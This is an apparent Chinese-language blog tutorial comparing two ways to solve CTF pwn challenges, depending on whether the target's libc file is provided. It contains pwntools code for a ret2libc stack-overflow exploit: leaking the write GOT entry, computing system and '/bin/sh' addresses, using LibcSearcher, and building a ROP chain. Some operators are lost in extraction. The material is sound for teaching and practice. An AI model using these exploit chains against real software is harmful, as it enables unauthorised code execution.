CTF Pwn实战:Libc版本.so文件在手与不在手的两种解题姿势对比

张开发
2026/5/6 6:29:54 15 分钟阅读

分享文章

CTF Pwn实战:Libc版本.so文件在手与不在手的两种解题姿势对比
CTF Pwn实战Libc版本.so文件在手与不在手的解题策略深度解析在CTF Pwn类题目中能否获取目标系统的libc文件往往直接影响着漏洞利用的路径选择与成功率。本文将深入探讨这两种场景下的技术差异并通过实际案例展示如何灵活应对不同情况。1. Libc文件在手的黄金优势当题目直接提供libc.so文件时攻击者相当于获得了目标系统的基因图谱。这种情境下我们可以实现精准打击无需猜测和试错。1.1 精确计算偏移量的艺术利用已知libc文件计算函数偏移是最直接的优势。以常见的write函数泄露为例from pwn import * libc ELF(libc-2.23.so) write_got 0x804a018 # 假设的GOT表地址 write_libc libc.sym[write] system_libc libc.sym[system] bin_sh next(libc.search(b/bin/sh))关键差异点直接使用libc.sym[]获取函数符号地址通过libc.search()精确查找字符串位置偏移计算采用算术运算而非数据库查询1.2 实战案例有libc的完整利用链# 泄露write函数地址 payload flat([ bA*140, p32(write_plt), p32(main_addr), p32(1), p32(write_got), p32(4) ]) p.sendline(payload) write_addr u32(p.recv(4)) # 计算系统级地址 offset write_addr - libc.sym[write] system_addr offset libc.sym[system] bin_sh_addr offset next(libc.search(b/bin/sh))注意当使用完整libc时字符串搜索建议使用next(libc.search(b/bin/sh))而非直接硬编码偏移以提高代码适应性。2. 无Libc文件时的生存法则当题目未提供libc文件时我们需要借助工具和技巧来重建攻击面。这时LibcSearcher等工具成为必备武器。2.1 LibcSearcher的工作原理LibcSearcher通过函数地址指纹匹配可能的libc版本特征有libc文件无libc文件依赖本地文件在线数据库精度精确可能多结果速度即时需要查询from LibcSearcher import * libc LibcSearcher(write, write_addr) libc_base write_addr - libc.dump(write) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh)2.2 应对多版本匹配的策略当数据库返回多个可能的libc版本时优先选择匹配度最高的版本检查其他函数地址是否吻合必要时尝试多个版本# 处理多结果情况 libc LibcSearcher(write, write_addr) if len(libc.libc_list) 1: print(Found multiple candidates:) for i, candidate in enumerate(libc.libc_list): print(f{i}: {candidate[id]}) selection int(input(Select libc version: )) libc.select(selection)3. 两种场景下的工具链对比3.1 调试工具选择有libc文件时推荐工具pwntools的ELF解析gdbgef/pwndbg的libc调试插件patchelf修改二进制依赖无libc文件时必备工具LibcSearcher/libc-databasereadelf分析远程二进制ldd检查动态链接3.2 偏移计算对照表操作类型有libc语法无libc语法基址计算offset addr - libc.sym[name]libc_base addr - libc.dump(name)函数定位libc.sym[system]libc.dump(system)字符串查找libc.search(b/bin/sh)libc.dump(str_bin_sh)版本确认libc.versionlibc.libc_list4. 高级技巧与实战经验4.1 无libc时的信息收集技巧即使没有libc文件也可以通过以下方式收集关键信息泄露多个函数地址提高匹配精度分析程序行为推测libc版本利用已知漏洞特征反推版本# 多函数泄露示例 leak_funcs [write, read, puts] leaked {} for func in leak_funcs: payload leak_payload_for(func) p.sendline(payload) leaked[func] u32(p.recv(4)) libc LibcSearcher() for func, addr in leaked.items(): libc.add_condition(func, addr) result libc.select()4.2 有libc时的优化技巧预计算常用gadget偏移构建本地调试环境开发自动化测试脚本# 自动化测试框架示例 class Exploit: def __init__(self, libc_path): self.libc ELF(libc_path) self.gadgets { pop_rdi: self.libc.search(asm(pop rdi; ret)).__next__(), ret: self.libc.search(asm(ret)).__next__() } def build_rop(self): return flat([ self.gadgets[pop_rdi], self.bin_sh_addr, self.ret_addr, # 栈对齐 self.system_addr ])在真实比赛环境中我通常会准备两套方案一套针对有libc的精确打击方案一套无libc的通用方案。当遇到无libc情况时先尝试用LibcSearcher快速匹配如果遇到困难则转向通过程序行为特征和已知漏洞模式来推测libc版本。这种灵活应对的策略在多次CTF比赛中被证明是有效的。

更多文章